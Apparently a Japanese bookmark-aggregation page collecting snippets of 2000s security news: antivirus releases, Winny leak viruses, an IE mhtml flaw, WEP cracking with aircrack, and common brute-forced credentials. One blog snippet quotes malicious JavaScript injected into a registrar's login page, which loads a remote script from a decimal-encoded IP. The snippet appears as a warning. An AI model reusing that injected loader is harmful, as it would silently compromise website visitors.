Microsoft の無料アンチウィルスソフト Security Essentials
ついにマイクロソフトから無料アンチウィルスソフト “Security Essentials” が登場しました。ウィルスとスパイウェア対策のみですが、リアルタイム保護もしてくれます。無料で利用でき、煩わしいユーザ登録も必要ありません。インストール時に正規版の Windows を利用しているかどうかがチェックされるのみです。 Windows XP 32bit版と、WIndows Vista / 7 の 32bit /64bit 版に対応しています。インストーラのダウンロードサイズは 8M 強ととてもコンパクトです。早速、Windows XP Home (SP3) のPCインストールしてみました。マシンは EeeBox B202、スペックは Atom N270 (1.6GHz)、メモリ1G、HDD80G です。 インストール インストールは日本語に対応しているので簡単です。 インストールが完了し
もじゃもじゃVIP、略してもっぷ 隣の部屋のｸｿｶﾞｷが無線ＬＡＮはいってくるんだが・・・
隣の部屋のｸｿｶﾞｷが無線ＬＡＮはいってくるんだが・・・ 1 名前：以下、名無しにかわりましてVIPがお送りします：2009/09/20(日) 03:25:39.83 ID:QYndHUdN0電波ジャッカー死ね('A`) 勝手にＰＳＰやらＤＳやら繋げんな 入った理由が「WEPだったし俺の家有線ケーブルしかない」じゃねーよ 何がaircrackで余裕だっただこのスクリプトキディが ＭＡＣアドレスで接続弾くこと出来る？ 3 名前：以下、名無しにかわりましてVIPがお送りします：2009/09/20(日) 03:27:05.65 ID:BaY7o6x6Oよく分からないけど 暗号化しても使われてるなら通報しろ 4 名前：以下、名無しにかわりましてVIPがお送りします：2009/09/20(日) 03:27:20.03 ID:t3zBYysZ0友達ができてよかったね 6 名前：以下、名無しにかわりま
VALUE DOMAINにウイルスコードが仕込まれる！ | 無題ブログ
VALUE DOMAINにウイルスコードが仕込まれる！ VALUE DOMAINのHPの一部のページにウイルスが仕込まれてるようです。 ウイルスコードが仕込まれているページは、VALUE DOMAINのログイン画面です。（まだ修正されてないのでリンクは切ってます） ttps://www.value-domain.com/login.php 上記にアクセスをしたらjavascriptが読み込まれるようです。 PLAIN TEXTJavaScript: <SCRIPT LANGUAGE="JAVASCRIPT"> var js = document.createElement("script"); js.src = "http://1856317799:888/s.js"; try {document.getElementsByTagName('head')[0].appendChild(js
無線LANのWEP/WPAキーを表示するフリーソフト「WirelessKeyView」 - GIGAZINE
無線LANの設定も昔ほど複雑ではなく、全自動でかなりセキュリティの高い設定ができるようになっている機種も増えていますが、それに伴って「一体自分の無線LANのWEPキーは何なのか？」というのが万が一の際にまったくわからないという事態も増えています。そういう際に役立つのがこのフリーソフト「WirelessKeyView」です。 使い方は至って簡単、起動するだけ。それだけでWindowsのWireless Zero Configurationを使ったWEP/WPAキーが表示されます。ただ表示するだけでなく、テキストファイルにして保存したり、HTML形式のレポートにしたり、クリップボードに直接コピーすることもできます。 ダウンロードと使い方は以下から。 WirelessKeyView: Recover lost WEP/WPA key stored by Wireless Zero Configu
2009年はMac OSやLinux向けの脅威にも注意を--キヤノンITソリューションズ
キヤノンITソリューションズは4月10日、米ESETのセキュリティチームによる2008年の「世界のセキュリティ脅威年間レポート」を公開した。2008年における脅威の動向を振り返り、その傾向と2009年の予測を述べている。 レポートによると、2008年は偽アンチマルウェア製品が急増したほか、Windows Autorun機能を悪用したマルウェア、アドウェアなどユーザーに好ましくない動作をする可能性のあるアプリケーションが数多く蔓延したという。偽アンチマルウェア製品では、Windowsユーザーだけではなく、Macintoshのユーザーをターゲットとした製品の存在も確認された。 ソーシャルエンジニアリングやキーロガー、バックドアなどを組み合わせてオンラインゲームのパスワードを盗み出すマルウェアが登場している。また、PDFファイルなど、通常は安全であると考えられる文書を悪用する攻撃も増えている。
安全性が最も低いユーザー名は“root”--チェック・ポイントとメリーランド大が調査
チェック・ポイント・ソフトウェア・テクノロジーズは9月19日、安全性が最も 低いユーザー名とパスワードに関する定量的データが米国メリーランド大学のA. James Clark School of Engineeringの研究で報告されたと発表した。 研究報告によると、辞書スクリプトで試行される回数が最も多かったユーザ名 は「root」で、2位「admin」の12倍以上試行されていた。そのほか、「test」、「guest」、「adm」、「mysql」、「user」、「administrator」、「oracle」などが多かった。 さらに、ハッカーがパスワードを入手するための行動のうち、最も多かったのはユーザ名の再入力で43％だった。次いでユーザ名の後ろに「123」、「123456」、「password」、「1234」、「12345」、「psswd」、「123」、「test」、「1」などが多か
見落としがちなぜい弱性---Webアプリケーション編
■問題■次の二つの画面を見て，このWebアプリケーションにどのような問題があるかをお答えください。 典型的な例であるためご存知の方も多いかもしれない。この例では，表示するエラー・メッセージに問題がある。エラー・メッセージの内容から，ユーザーが存在するか否かを判別できる。このため，認証の安全性が低下してしまう。対策の一つは，「ログインに失敗しました」のみを表示するなど，メッセージに含まれる情報を必要最小限にすることである。 当社はWebアプリケーションのぜい弱性診断サービスを提供しているが，その現場では，こうした問題点によく出くわす。今回は，そのぜい弱性診断の経験から，ユーザーが見落としがちなぜい弱性について取り上げてみたい。 Webアプリケーションに存在するぜい弱性と聞かれたら，ITproセキュリティの読者の多くは，まず，SQLインジェクションやクロスサイト・スクリプティング（XSS）を挙
「Windowsマシンへの不正アクセスを発見」---そのとき，どうする？
「Windowsマシンへの不正アクセスを発見」---そのとき，どうする？ Windowsにおける証拠保全の具体的手順 自分が管理するシステムにおいて不正アクセスを見つけた場合，まずなすべきことは証拠保全である。影響範囲や原因を特定するためには，その時点でのシステムの状態をきちんと記録／保存しておかなければならない。 証拠保全の手順などについては，インターネット上で関連する情報を見つけられるし，関連書籍も複数発刊されている。しかしながら，具体的な作業例はUNIX系のOSについて書かれているものがほとんどで，Windows OSについてはあまり情報がない。特に，日本語で書かれた情報はほとんど見かけない。 そこで本稿では，Windowsマシン上で不正アクセスが見つかった場合の対処法を紹介したい。特に，失われやすい情報（揮発性の高いデータ）の証拠保全に焦点を絞って順を追って解説する。揮発性の高いデ
Winny経由の漏えいは止まるか？ データに見る暴露ウイルスの感染推移
内閣官房長官による異例の呼びかけから約2カ月が経過したが、いわゆる「暴露ウイルス」の感染は減ったのか。トレンドマイクロのデータを基にデータを整理してみた。 ウイルスによりWinny経由の情報漏えいが相次いで発生したことを受け、3月15日、安倍晋三官房長官より「情報漏えいを防ぐ最も確実な対策は、パソコンでWinnyを使わないことです。この点について、私（官房長官）からも国民の皆さんにお願いしたいと考えております」という異例の呼びかけがあった。この発表の直後から、さまざまなウイルス感染によるWinnyファイル共有ネットワークへの情報漏えい対策が企業などで発表された。 それから約2カ月が経過したが、その間、ウイルス感染状況はどのように推移したのか。本稿では、ウイルス感染状況のデータを整理し、その分析をすることで暴露ウイルスの現況を浮き彫りにしてみたい。 暴露ウイルスと対策のおさらい 本題に入る前
CSSXSS脆弱性よりもっとヤバイ脆弱性がIEに発見されたようですね の対策 - 2nd life (移転しました)
hoshikuzu | star_dust の書斎#P20060428MHTMLREDIRECT で指摘されているように、現在の WinIE では mhtml スキームを悪用して、クロスドメインの html を取得することが可能になってしまっています。これを利用したはまちちゃんの実証コードを踏んだ人も居るでしょう(実際に WinIE だと情報が抜かれるので、安易に WinIE で見に行かないで下さい)。 この対策として id:hosikuzu:20060428#P20060428MHTMLREDIRECT では以下のような対策方法が提示されています。 そもそも信頼できないページを見ない IE使わない アクティブスクリプトとAxtiveXを切る レジストリでmhtmlスキームのハンドラを殺す この中で一番簡単かつ安心なのは WinIE を使わないことですが、IE コンポーネントブラウザなどを
高木浩光＠自宅の日記 - 編集長が見て見てと言うので買ったネットランナー5月号の仰天内容
■ 編集長が見て見てと言うので買ったネットランナー5月号の仰天内容 4月12日の日記「Winny利用教唆本のセキュリティ対策指南、その仰天内容」のリンク元を辿ったところ、 今月Winny特集やってるから、高木さんに取り上げてほしいなあ。 d.hatena.ne.jp/kgoutsu/, 2006年4月13日 という記述があった。どうやらこのブログ主は、「ネットランナー」の編集長の方らしい。 たしかに、Winnyの話題で「違法行為を蔓延させた刑事責任は出版社にある」という指摘が出てくるときに真っ先に槍玉に挙がるのは「ネットランナー」であることが多いが、実際のところ同誌はそれほど悪質なものではなく、セキュリティ対策をキチンと啓蒙するなどの良い点もあるとの主張を耳にすることもあった。 ネットランナーはほとんど読んだことがない*1ので、昔どういう内容だったとかは知らないが、編集長がこうおっしゃるく
「Winny（ウィニー）」にセキュリティ・ホールが見つかる
セキュリティ・ホールの概要（<a href="http://www.ipa.go.jp/security/vuln/documents/2006/JVN_74294680_winny.html" target=_blank>IPAの発表資料</a>から引用） JVN（Japan Vendor Status Notes）は4月21日，ファイル共有ソフト「Winny（ウィニー）」にバッファ・オーバーフローのセキュリティ・ホールが見つかったことを明らかにした。細工が施されたデータを送信されると，Winnyが異常終了する可能性がある。情報処理推進機構（IPA）では，「Winny利用の中止」を回避策として挙げている。 セキュリティ・ホールが確認されているのは，Winny 2.0 b7.1およびそれ以前のバージョン。発見者は，米eEye Digital Securityの鵜飼裕司氏。同氏が「情報セキュ
脆弱性関連情報取扱い：脆弱性関連情報の調査結果：IPA 独立行政法人 情報処理推進機構
本資料は、JVNで公表した「JVN#74294680：『Winny』におけるバッファオーバーフローの脆弱性」について解説するものです。 「Winny(ウィニー)」はインターネットを利用して、不特定多数のユーザ間でファイルを交換できるソフトウェアです。不特定多数の個人間で、サーバを介さずに、直接データのやり取りを行います。 「Winny」には通信処理にバッファオーバーフローの脆弱性があります。遠隔の第三者によるソフトウェアの動作停止の可能性があるのみならず、一般的に、バッファオーバーフローの脆弱性は、任意の命令を実行される可能性があります。 開発者による修正方法は公表されていませんので、回避方法は「Winny利用の中止」となります。 最新情報は、JVN#74294680 を参照してください。
ITmedia エンタープライズ：Winny利用ビジネスユーザーの約30％が「Winny入りPCを業務に利用」——NS総研調査
ネットアンドセキュリティ総研の調査によると、WinnyなどのP2P型ファイル共有／交換ソフトを利用しているビジネスユーザーの約30％が、同一のPCを業務に利用しているという。 WinnyなどのP2P型ファイル共有／交換ソフトを利用しているビジネスユーザーの約30％は、その同じPCを業務に利用している――ネットアンドセキュリティ総研が実施している調査の中間結果からは、こんな実態が明らかになりつつあるという。 この調査は、同社がlivedoorリサーチのモニター登録者を対象に、3月10日から22日にかけて実施したもの。Winnyなどを利用しているビジネスユーザー、283名を抽出したうえでアンケートを行った。 Winnyなどを利用しているPCをどのような用途で利用しているかを尋ねたところ、「プライベートの用途以外には使わない」としたのは70.3％あった。だが逆に言えば、残る約3割は、Winnyを
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
無料セキュリティ対策ソフト「AVG Anti-Virus Free Edition」日本語版
http://www.2apes.com/products/spam.html%25A5%25AF%25A5%25E9%25A5%25C3%25A5%25AF)
http://miy.atso-net.jp/index.php?%CC%B5%C0%FELAN(WEP)%A5%AF%A5%E9%A5%C3%A5%AF
Winnyや掲示板で情報流出を引き起こす「Kakkeys」新亜種、Symantecが警告
KDDIのフィッシングサイトを警告
トレンドマイクロの営業資料がWinnyに流出